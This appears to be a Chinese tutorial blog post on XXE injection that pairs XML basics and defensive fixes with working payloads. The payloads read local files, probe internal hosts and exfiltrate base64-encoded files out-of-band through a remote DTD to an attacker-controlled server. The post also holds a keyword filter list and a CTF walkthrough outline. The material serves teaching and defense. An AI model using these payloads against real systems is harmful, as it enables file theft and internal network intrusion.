XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

与html区别:

Xml:被设计为传输和存储数据,其焦点是数据的内容

Html:是为了显示数据,焦点是外观

Html旨在显示信息,xml旨在传输信息。

Xml典型代码:

<!--XML声明-->

<?xml version="1.0"?>

<!--文档类型定义-->

<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->

<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->

<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->

<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->

<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->

<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->

]]]>

<!--文档元素-->

<note>

<to>Dave</to>

<from>Tom</from>

<head>Reminder</head>

<body>You are a good man</body>

</note>

各脚本支持的协议;

存在xxe的情况下:

#玩法-读文件

<?xml version = "1.0"?>

<!DOCTYPE ANY [

<!ENTITY xxe SYSTEM "file:///d://test.txt">

]>

<x>&xxe; &xxe;</x>

//xxe为变量,读取test.txt

//打印出来

用file协议读指定路径的文件

显示结果:

#玩法-内网探针或攻击内网应用(触发漏洞地址)内网探针

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY rabbit SYSTEM "http://192.168.33.130:80/cookie.txt" >

]>

<x>&rabbit;</x>

#引入外部实体dtd,dtd就是xml的后缀,识别为xml格式

如果设置了禁止外部实体引用,将会失效

<?xml version="1.0" ?>

<!DOCTYPE test [

<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">

%file;

]>

<x>&send;</x>

可以在远程服务器evil2.dtd写上:

<!ENTITY send SYSTEM "file:///d:/test.txt">

#无回显-读取文件

<?xml version="1.0"?>

<!DOCTYPE test [

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=test.txt">

<!ENTITY % dtd SYSTEM "http://192.168.0.103:8081/test.dtd">

%dtd;

%send;

]>

Base64加密是反正传输中乱码,传输失败。

本地192.168.0.103上构造:

test.dtd:

<!ENTITY % payload

"<!ENTITY % send SYSTEM 'http://192.168.0.103:8081/?data=%file;'>"

>

%payload;

开启日志,看日志就可以看到test.txt数据了。

#协议-读文件(绕过)

参考:https://www.cnblogs.com/20175211lyz/p/11413335.html

<?xml version = "1.0"?>

<!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]>

<x>&f;</x>

如何检测:

  1. 数据格式类型

    如果发现有<user>test</user><pass>Mikasa</pass>  类型

  1. 抓包发现  content-type中是  text/xml  或者 application/xml
  2. 盲猜:更改content-type值application/xml看返回

burp上抓包 右键

do an active scan:扫描漏洞

Send to spider:爬行

利用爬行,找到有xml,把xml代码拷贝到post上既可以利用

CTF-Vulnhub-XXE安全真题复现

例子:

扫描IP及端口->扫描探针目录->抓包探针xxe安全->利用xxe读取源码->flag指向文件->base32 64解密->php运行->flag

xxe安全漏洞自动化注射脚本工具-XXEinjector(Ruby)

https://www.cnblogs.com/bmjoker/p/9614990.html
xxe_payload_fuzz

很多靶场镜像的网站:

https://download.vulnhub.com

#xxe漏洞修复与防御方案-php,java,python-过滤及禁用

#方案1-禁用外部实体

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

Python:

from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

#方案2-过滤用户提交的XML数据

过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

涉及资源:

https://github.com/c0ny1/xxe-lab

https://download.vulnhub.com/xxe/XXE.zip   //靶场

https://github.com/enjoiz/XXEinjector

https://www.cnblogs.com/bmjoker/p/9614990.html  //xxe注入工具

https://www.cnblogs.com/20175211lyz/p/11413335.html  //介绍xxe

XXE外部实体注入漏洞的更多相关文章

  1. XXE外部实体注入漏洞总结

    XXE 漏洞原理 XXE是xml外部实体注入漏洞,应用程序解析xml输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取,命令执行,内网端口扫描攻击内网网站等危害. 漏洞危害 ...

  2. XXE外部实体注入漏洞——PHP

    前言 XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击.漏洞是在对非安全的外部实体数据进行处理时引发的安全问题. 在XML1.0标准 ...

  3. 一个用得比较广的微信API的XXE外部实体注入漏洞

    文件地址: https://github.com/dodgepudding/wechat-php-sdk/raw/master/wechat.class.php 代码: <?php /** * ...

  4. Pikachu-XXE(xml外部实体注入漏洞)

    XXE -"xml external entity injection"既"xml外部实体注入漏洞".概括一下就是"攻击者通过向服务器注入指定的xml ...

  5. XXE--XML外部实体注入漏洞

    XXE漏洞原理 XXE漏洞全称XML External Entity Injection 即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部 ...

  6. Xml外部实体注入漏洞

    Xml外部实体注入漏洞(XXE) Xml介绍 XML 不是 HTML 的替代. XML 和 HTML 为不同的目的而设计: XML 被设计为传输和存储数据,其焦点是数据的内容. HTML 被设计用来显 ...

  7. XML外部实体注入漏洞(XXE)

    转自腾讯安全应急响应中心 一.XML基础知识 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声 ...

  8. XXE(xml外部实体注入漏洞)

    实验内容 介绍XXE漏洞的触发方式和利用方法,简单介绍XXE漏洞的修复. 影响版本: libxml2.8.0版本 漏洞介绍 XXE Injection即XML External Entity Inje ...

  9. 【代码审计】CLTPHP_v5.5.3前台XML外部实体注入漏洞分析

    0x01 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chichu/ ...

随机推荐

  1. 36 个JS 面试题

    1.JS中let和const有什么用? 在现代js中,let&const是创建变量的不同方式. 在早期的js中,咱们使用var关键字来创建变量. let&const关键字是在ES6版本 ...

  2. Goland 生成可执行文件

    Goland通过调用go build 生成可执行文件. 默认Goland是可以执行程序,但你找不到可执行文件. 你需要自定义配置文件. 创建go build配置文件 Run kind 选Directo ...

  3. 【USACO13DEC】 最优挤奶 - 线段树

    题目描述 FJ最近买了1个新仓库, 内含N 个挤奶机,1 到N 编号并排成一行. 挤奶机i 每天能产出M(i) 单位的奶.不幸的是, 机器装得太近以至于如果一台机器i 在某天被使用, 那与它相邻的两台 ...

  4. 5分钟快速了解MySQL索引的各种类型

    文章持续更新,微信搜索「万猫学社」第一时间阅读. 关注后回复「电子书」,免费获取12本Java必读技术书籍. 什么是索引? 索引是数据库存储引擎用于快速查找到指定数据的一种数据结构. 可以用新华字典做 ...

  5. docker入门4-docker stack

    stack介绍 stack是一组共享依赖,可以被编排并具备扩展能力的关联service.举例来说就是在swarm那章描述docker层次架构时,说stack就是一个完整的服务--它可以由基于flask ...

  6. xss-labs 通关学习笔记

    xss-labs 学习 By:Mirror王宇阳 time:2020/04/06 level1 我们进入到这个页面之后,快速关注到几个点,Xss注重的输入点,这里的输入点首先在URL栏中找到了name ...

  7. 笔记:Linux下软件的安装、CentOS更新yum源、LAMP环境搭建、kali软件管理

    一.Linux下软件的安装 方式:yum源 / rpm /源码安装 1.yum:(帮助管理员解决依赖关系) yum是通过分析rpm的包头数据后,根据各种软件的相关性质做出属性相对应的解决方案,然后可以 ...

  8. kernel 通知链

    原文链接: 深入理解linux网络技术内幕读书笔记(四)--通知链 概述 [注意] 通知链只在内核子系统之间使用. 大多数内核子系统都是相互独立的,因此某个子系统可能对其它子系统产生的事件感兴趣.为了 ...

  9. Go Channel 详解

    原文链接:Go Channel 详解 Channel类型 Channel类型的定义格式如下: ChannelType = ( "chan" | "chan" & ...

  10. 理解传输层中UDP协议首部校验和以及校验和计算方法的Java实现

    UDP,全称User Datagram Protocol,用户数据报协议,是TCP/IP四层参考模型中传输层的一种面向报文的.无连接的.不能保证可靠的.无拥塞控制的协议.UDP协议因为传输效率高,常用 ...